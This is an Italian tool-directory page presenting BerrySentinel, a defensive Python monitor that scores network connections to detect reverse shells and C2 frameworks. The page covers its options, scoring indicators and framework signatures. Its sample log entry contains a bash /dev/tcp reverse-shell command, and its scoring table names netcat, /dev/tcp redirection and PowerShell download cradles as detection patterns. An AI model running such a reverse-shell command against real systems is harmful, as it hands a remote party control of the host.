Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
BerrySentinel — Berry Sentinel v5.0 — Rilevatore comportamentale avanzato di C2 e reverse shell per sistemi Linux/Windows/Unix. Include analisi delle connessioni in tempo reale, punteggio euristico, rilevamento delle firme dei framework C2, analisi degli intervalli di beacon e un'interfaccia TUI interattiva basata su curses con motore di terminazione dei processi. | Kitploit
Strumenti/GitHubGitHub/dereeqw/berrysentinel
Strumenti DifensiviSicurezza di ReteAnalisi MalwarePenetration TestingCommand and ControlThreat IntelligenceRilevamento IntrusioniRed TeamingRisposta agli Incidenti

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Rilevamento di Anomalie
Analisi dei Log
GitHubdereeqw/berrysentinel

BerrySentinel

Vedi Repository
135 mesi faNon ancora revisionato

Informazioni

Berry Sentinel v5.0 — Rilevatore comportamentale avanzato di C2 e reverse shell per sistemi Linux/Windows/Unix. Include analisi delle connessioni in tempo reale, punteggio euristico, rilevamento delle firme dei framework C2, analisi degli intervalli di beacon e un'interfaccia TUI interattiva basata su curses con motore di terminazione dei processi.

Condividi

🫐 Berry Sentinel

Rilevatore comportamentale di connessioni C2 (Command & Control) in tempo reale

Zero-signature · Bulletproof Collection · Deep Scan · Kill Engine

Python 3.8+ Platform License: MIT


Cos'è?

Berry Sentinel monitora tutte le connessioni di rete attive sul tuo sistema e analizza il comportamento dei processi che le generano per rilevare attività malevola — senza usare database di firme antivirus né liste di IP bloccati.

Rileva reverse shell, webshell, RAT, beacon C2 e framework come Meterpreter, Cobalt Strike, Sliver o Empire osservando come si comporta un processo: se un interprete Python ha il suo stdin connesso a un socket remoto, quello è sospetto anche se l'IP è sconosciuto.

root@kitploit:~
╔══════════════════════════════════════════════════════════════════════════════════╗
║  BERRY SENTINEL v5.0 — Detector Conductual C2 · TUI Interactivo                                 ║
║  Conexiones: 38 │ Amenazas: 2 │ Firmas: 1 │ via proc/open+ss │ 12ms │ #47                       ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID  SEV      PTS   PID    PROC    REMOTO                ESTADO  FIRMAS/TAGS                     ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║  3  █CRÍTICO  85   1337   bash    1.2.3.4:4444   ESTAB  ⚑Meterpreter SHELL→NET.                ║
║  7  ▲ALTO     52   2048   python3 5.6.7.8:8443   ESTAB  TLS-NOBR BCN(60s)                      ║
╚══════════════════════════════════════════════════════════════════════════════════╝

Caratteristiche

  • TUI interattivo con curses: navigazione ↑↓, dettaglio connessione, kill engine integrato
  • Analisi comportamentale pura: senza firme AV, senza liste nere di IP
  • Rilevamento beacon: identifica connessioni C2 dai loro intervalli regolari (Cobalt Strike ~60s, Empire ~5s, ecc.)
  • 14+ framework C2 riconosciuti: Meterpreter, Cobalt Strike, Sliver, Empire, Havoc, Brute Ratel, Pupy, Merlin, Covenant, Mythic...
  • Deep scan (con root): analizza memoria del processo, regioni RWX, variabili d'ambiente, eseguibili cancellati dal disco
  • Bulletproof collection: usa 5 metodi di raccolta in parallelo (/proc/net, ss, netstat, psutil, lsof) con deduplicazione automatica
  • Cross-platform: Linux, macOS, Windows, Android/Termux
  • Esportazione JSON e log: avvisi in formato JSONL compatibile con jq, ELK, Splunk
  • Whitelist: ignora IP o reti fidate per CIDR
  • Zero dipendenze in modalità base (solo stdlib); psutil opzionale per copertura extra

Installazione

root@kitploit:~
# Clonare il repository
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel

# (Opzionale ma raccomandato) installare psutil
pip install psutil

# Eseguire
python3 BerrySentinel.py

Android / Termux

root@kitploit:~
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui  # curses potrebbe non essere disponibile su Termux

Senza installazione (one-liner)

root@kitploit:~
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py

Utilizzo

root@kitploit:~
python3 BerrySentinel.py [opzioni]

Opzioni:
  --all, -a           Includi connessioni locali/loopback (oltre a remote)
  --interval N, -i N  Aggiornamento ogni N secondi (default: 2, min: 0.5)
  --log FILE, -l FILE Salva avvisi in un file (formato JSONL)
  --json, -j          Esporta JSON completo all'uscita
  --whitelist LISTA   IP o CIDR da ignorare, separati da virgola
  --no-color          Senza colori ANSI (utile per pipe o log)
  --verbose, -v       Mostra tutte le connessioni, non solo quelle sospette
  --top N, -t N       Massimo righe nella tabella (default: 50)
  --diag, -d          Diagnostica: mostra quali metodi di raccolta funzionano
  --no-tui            Modalità legacy senza curses (scroll classico, più portabile)
  --version, -V       Mostra versione ed esci

Esempi

root@kitploit:~
# TUI interattivo — modalità raccomandata
python3 BerrySentinel.py

# Deep scan con root (accede alla memoria dei processi)
sudo python3 BerrySentinel.py --all

# Salvare avvisi ed esportare JSON al termine
python3 BerrySentinel.py --log /var/log/sentinel.log --json

# Ignorare rete interna e aggiornare ogni 5 secondi
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5

# Modalità testo per usare in script o via SSH senza terminale interattivo
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt

# Vedere quali metodi di raccolta funzionano sul sistema corrente
python3 BerrySentinel.py --diag --no-tui

# Solo avvisi gravi, aggiornamento ogni 10 secondi, salvare log
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json

Tasti del TUI interattivo


Sistema di punteggio

Ogni connessione riceve un punteggio da 0 a 100 in base agli indicatori rilevati:

Gravità in base al punteggio:


Framework C2 rilevati

Berry Sentinel include firme per i seguenti framework (valutazione per porte, nome del processo, linea di comando e pattern di beacon):


Formato del log (JSONL)

Ogni avviso viene registrato come una linea JSON indipendente:

root@kitploit:~
{
  "ts": "2025-07-15T14:23:01.123456",
  "id": 42,
  "sev": "CRÍTICO",
  "score": 85.0,
  "pid": 1337,
  "name": "bash",
  "cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
  "remote": "1.2.3.4:4444",
  "local": "192.168.1.10:52341",
  "state": "ESTABLISHED",
  "tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
  "sigs": ["Meterpreter"],
  "src": "proc/open(self)+ss+netstat"
}

Elaborare con jq:

root@kitploit:~
# Filtrare solo connessioni critiche
jq 'select(.sev == "CRÍTICO")' sentinel.log

# Vedere tutti i PID sospetti
jq '[.pid] | unique' sentinel_export.json

# Cercare per firma specifica
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log

Architettura

root@kitploit:~
BerrySentinel.py
├── Costanti globali
│   ├── SHELL_BINS, SCRIPT_ENGINES  — Nomi di shell e interpreti
│   ├── C2_SUSPECT_PORTS            — Porte tipiche di C2
│   ├── PRIVATE_NETS                — Range IP privati
│   └── C2_SIGNATURES               — Firme di framework noti
│
├── Modelli di dati
│   ├── C2Signature   — Definizione firma C2
│   ├── ProcInfo      — Info processo del SO
│   ├── Conn          — Connessione di rete + risultato analisi
│   └── BeaconTracker — Rilevatore beacon C2
│
├── Raccolta dati
│   ├── Collector     — Orchestra più fonti di rete
│   ├── parse_proc_net_content() — Parser /proc/net/*
│   ├── build_inode_pid_map()    — Mappa inode→PID
│   ├── get_proc_info()          — Info processo via /proc
│   └── get_proc_info_psutil()   — Info processo via psutil
│
├── Analisi
│   ├── Engine.analyze()    — Punteggio + tag comportamentali
│   ├── Engine._beacon()    — Rilevamento beacon
│   └── match_signatures()  — Matching firme C2
│
├── Output
│   ├── CursesTUI   — TUI interattivo (modalità predefinita)
│   ├── LegacyTUI   — Output ANSI senza curses (fallback)
│   └── Logger      — Log JSONL su disco
│
└── Sentinel        — Orchestratore principale

Requisiti

  • Python 3.8+
  • psutil — opzionale ma molto raccomandato (pip install psutil)

Senza dipendenze aggiuntive lo strumento funziona con la stdlib di Python. psutil aggiunge copertura su macOS e Windows dove /proc non esiste.


Piattaforme


Personalizzazione

Aggiungere firma C2 propria

root@kitploit:~
from BerrySentinel import C2Signature, C2_SIGNATURES

mi_rat = C2Signature(
    name="MiRAT",
    description="RAT interno corporativo non autorizzato",
    score_bonus=70,
    checks=[
        {"type": "port", "value": 6543},
        {"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
        {"type": "procname", "value": r"^mi_rat$"},
    ],
)
C2_SIGNATURES.append(mi_rat)

Usare come libreria in uno script

root@kitploit:~
import argparse
from BerrySentinel import Sentinel, Sev

args = argparse.Namespace(
    all=True, interval=10, log=None, json=False,
    whitelist="192.168.0.0/16", no_color=True,
    verbose=False, top=100, diag=False, no_tui=True
)

s = Sentinel(args)
s._cycle_data()

for conn in s.last_conns:
    if conn.severity >= Sev.HIGH:
        proc = conn.proc
        print(f"[AVVISO] PID {conn.pid} ({proc.name if proc else '?'}) "
              f"→ {conn.remote_addr}:{conn.remote_port} "
              f"score={conn.score:.0f} tags={conn.tags}")

Motore di analisi personalizzato

root@kitploit:~
from BerrySentinel import Engine, Conn, Sev

class MiEngine(Engine):
    KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}

    def analyze(self, c: Conn) -> Conn:
        c = super().analyze(c)
        # Aggiungere logica propria
        if c.remote_addr in self.KNOWN_C2_IPS:
            c.score = min(c.score + 40, 100)
            c.tags.append("KNOWN-IOC-IP")
            c.severity = Sev.CRITICAL
        return c

Avvertenza sull'uso responsabile

Berry Sentinel è progettato per monitorare il proprio sistema o sistemi su cui si ha esplicita autorizzazione. Il Kill Engine agisce solo quando l'utente lo richiede esplicitamente. Utilizzalo in modo responsabile e nel rispetto delle leggi applicabili nella tua giurisdizione.


Licenza

MIT — vedi LICENSE

Scarica lo strumento
TastoAzione
↑ / ↓Navigare tra le connessioni
d / DMostrare pannello dettagli della connessione selezionata
k / KUccidere processo (chiede conferma del PID)
f / FCiclare filtro di gravità: ALL → MEDIO → ALTO → CRÍTICO
rForzare aggiornamento immediato
ESCChiudere pannello dettagli o cancellare operazione
qUscire
IndicatorePuntiTag
stdin/stdout → socket+55FD→SOCK
Shell binaria con connessione remota+40SHELL→NET
Webshell (shell come figlio di Apache/Nginx)+35WEBSHELL
Bind shell su porta alta+35BIND-SHELL
Uso di netcat/socat+35NETCAT
Redirezione /dev/tcp o mkfifo+40PIPE-REDIR
Eseguibile cancellato dal disco+25EXE-DEL!
Eseguibile in /tmp o /dev/shm+15EXE-TMP
Beacon rilevato (connessione ciclica)+25×confBCN(60s)
Firma Meterpreter+55SIG:Meterpreter
Firma Cobalt Strike+60SIG:CobaltStrike
Firma Sliver+58SIG:Sliver
Regioni di memoria RWX+20RWX(N)
LD_PRELOAD o HISTFILE=/dev/null+10ENV:LD_PRELOAD
Interprete di script connesso+25INTERP→NET
eval/exec in linea di comando+18EVAL
PowerShell remoto (IEX, DownloadString)+30PS-REM
PunteggioGravitàColore
≥ 65CRITICO🔴 Rosso brillante
≥ 45ALTO🟠 Arancione
≥ 25MEDIO🟡 Giallo
≥ 8BASSO🔵 Ciano
< 8INFO⚪ Grigio
FrameworkBonus punteggioIndicatori chiave
Meterpreter+55Porta 4444, processo ruby/msfconsole
Cobalt Strike+60Porta 50050, beacon ~60s, processo java
Sliver+58Porta 31337/8888, beacon ~60s
Empire+55Porta 1234/7777, PowerShell -enc
Brute Ratel+62Porta 2083, processo badger
Havoc+58Porta 40056, demon.x64/x86
Pupy RAT+52Porta 9999, pupy.py
Merlin+54Porta 8443, merlin-agent
Covenant+54Porta 7443, GruntHTTP
PoshC2+52FComServer, ImplantCore
Mythic+56Porta 7443, poseidon/apfell
QuasarRAT+50Porta 4782-4785
NetcatShell+45socat exec bash, pty
DNS-C2+40Porta 53, dnscat/iodine
SistemaSupportoNote
Linux✅ CompletoCon root attiva deep scan
Android/Termux✅ CompletoUsa --no-tui se curses fallisce
macOS⚠️ ParzialeSenza /proc; usa netstat+psutil
Windows⚠️ Parzialenetstat+psutil, senza analisi memoria